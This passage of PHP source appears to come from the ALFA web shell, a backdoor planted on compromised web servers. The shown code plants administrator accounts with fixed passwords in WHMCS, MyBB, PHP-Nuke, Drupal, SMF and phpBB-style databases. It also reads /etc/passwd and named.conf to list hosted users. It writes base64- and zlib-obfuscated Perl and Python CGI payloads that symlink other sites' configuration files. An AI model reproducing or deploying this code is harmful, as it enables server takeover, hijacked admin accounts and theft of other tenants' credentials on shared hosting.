name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa4\'];\n$password = $_POST[\'alfa6\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$hash = md5(\'solevisible\');\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');\n}\n}\n}\nif(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\'] == \'whmcs\'){\n\necho __pre().\'<center><div class="txtfont_header">| Whmcs |</div><p><p>\'.getConfigHtml(\'whmcs\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\\'whmcs\\\',null,this.admin.value,this.email.value); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa4\'];\n$password = $_POST[\'alfa5\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif(isset($_POST[\'alfa7\']) && $_POST[\'alfa7\'] == \'mybb\'){\n\necho __pre().\'<center><div class="txtfont_header">| Mybb |</div><p><p>\'.getConfigHtml(\'mybb\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\\'mybb\\\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa4\'];\n$password = $_POST[\'alfa5\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\'] == \'nuke\'){\n\necho __pre().\'<center><div class="txtfont_header">| PhpNuke |</div><p><p>\'.getConfigHtml(\'phpnuke\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'nuke\\\',this.email.value,this.prefix.value); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa4\'];\n$password = $_POST[\'alfa5\'];\n$admin = $_POST[\'alfa7\'];\n$SQL = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$hash = md5($pwd);\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'drupal\'){\n\necho __pre().\'<center><div class="txtfont_header">| Drupal |</div><p><p>\'.getConfigHtml(\'drupal\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'drupal\\\'); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true)\n );\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa4\'];\n$username = $_POST[\'alfa5\'];\n$password = $_POST[\'alfa6\'];\n$admin = $_POST[\'alfa8\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\n$getDescuid = $getDescuid[\'uid\'];\n$getdescuid = $getDescuid++;\n$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values(\'$getDescuid\',\'$admin\',\'\\$S\\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC\',\'solevisible@fbi.gov\',\'filtered_html\',\'1\',\'Europe/Berlin\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"select uid from users where name=\'".$admin."\'") or die(mysqli_error($conn));\n$sole = mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis = mysqli_fetch_assoc($solevisible);\n$res = $solevis[\'uid\'];\n}\n$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES (\'".$res."\', \'3\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\n\nif(isset($_POST[\'alfa10\']) && $_POST[\'alfa10\'] == \'smf\'){\n\necho __pre().\'<center><center><div class="txtfont_header">| SMF |</div><p><p>\'.getConfigHtml(\'smf\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\\'smf\\\'); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'smf_\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n );\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa5\'];\n$password = $_POST[\'alfa6\'];\n$prefix = $_POST[\'alfa7\'];\n$admin = $_POST[\'alfa8\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$setpwAlg = sha1(strtolower($admin) . \'solevisible\');\n$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,\'$admin\',\'1\',\'$admin\',\'$setpwAlg\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\necho "</div>";\nalfafooter();\n}\nfunction alfaMakePwd(){\n    if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){\n        return "/home/{user}/public_html/";\n    }\n    $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);\n    $public = end($document);\n    array_pop($document);\n    array_pop($document);\n    $path = implode("/", $document) . "/{user}/" . $public;\n    return $path;\n}\nfunction alfaGetDomains($state = false){\n    $state = "named.conf";\n    $lines = array();\n    $lines = _alfa_file(\'/etc/named.conf\');\n    if(!$lines){\n        $lines = @scandir("/etc/valiases/");\n        $state = "valiases";\n        if(!$lines){\n            $lines = @scandir("/var/named");\n            $state = "named";\n            if(!$lines && $state){\n                $lines = _alfa_file(\'/etc/passwd\');\n                $state = "passwd";\n            }\n        }\n    }\n    return array("lines" => $lines, "state" => $state);\n}\nfunction alfaCreateParentFolder(){\n    $parent = $GLOBALS[\'home_cwd\'] . "/" . __Cavdar59_DATA_FOLDER__;\n    if(!@is_dir($parent)){\n        @mkdir($parent, 0755, true);\n    }\n}\nfunction alfasymlink(){\nalfahead();\nAlfaNum(9,10);\nalfaCreateParentFolder();\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __Cavdar59_DATA_FOLDER__);\necho \'<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symphp\\\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symperl\\\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'sympy\\\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\')">| File Symlink | </a></h3></center>\';\nif(isset($_POST[\'alfa2\'])&&($_POST[\'alfa2\']==\'symperl\'||$_POST["alfa2"]=="sympy")){\n    $sympath = alfaMakePwd();\n    @mkdir(\'cgialfa\',0755);\n    @chdir(\'cgialfa\');\n    alfacgihtaccess(\'cgi\');\n    $perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;my $Cavdar59_DATA="\'.__Cavdar59_DATA_FOLDER__.\'";eval(Compress::Zlib::memGunzip(decode_base64("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")));\';\n    $py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\nCavdar59_DATA=\'".__Cavdar59_DATA_FOLDER__."\'\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\n    $cginame = "symperl.alfa";\n    $source = $perl;\n    $lang = "perl";\n    if($_POST["alfa2"]=="sympy"){\n        $cginame = "pysymlink.alfa";\n        $source = $py;\n        $lang = "python";\n    }\n    @__write_file($cginame,$source);\n    @chmod($cginame,0755);\n    echo __pre();\n    $resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);\n    if(strlen($resource) == 0){\n        echo AlfaiFrameCreator(\'cgialfa/\'.$cginame);\n    }else{\n        echo $resource;\n    }\n}\nif(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\'){\nif(function_exists(\'symlink\')||_alfa_can_runCommand(true,true)){\nAlfaNum(9,10);\necho __pre().\'\n<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">\n<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />\n<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>\n<p><input type="submit" value=" " name="symlink" /></p></form></center>\';\n$path = $_POST[\'alfa5\'];\n$symname = $_POST[\'alfa6\'];\n$solevisible58 = $_POST[\'alfa7\'];\nif($solevisible58){\n$new_name = str_replace(".", "_", basename($symname));\n$rand_dir = $new_name.rand(111,9999);\n$sym_dir = \'alfasymlinkphp/\'.$rand_dir.\'/\';\n@mkdir($sym_dir, 0777, true);\nalfacgihtaccess(\'sym\', $sym_dir, $symname);\n_alfa_symlink("$path","$sym_dir/$symname");\necho __pre();\necho \'<center><b><font color="white">Click >> </font><a target="_blank" href="\'.__Cavdar59_DATA_FOLDER__."/".$sym_dir.\'" ><b><font size="4">\'.$symname.\'</font></b></a></b></center>\';\n}\n}else{echo "<center><pre class=ml1 style=\'margin-top:5px\'><b><font 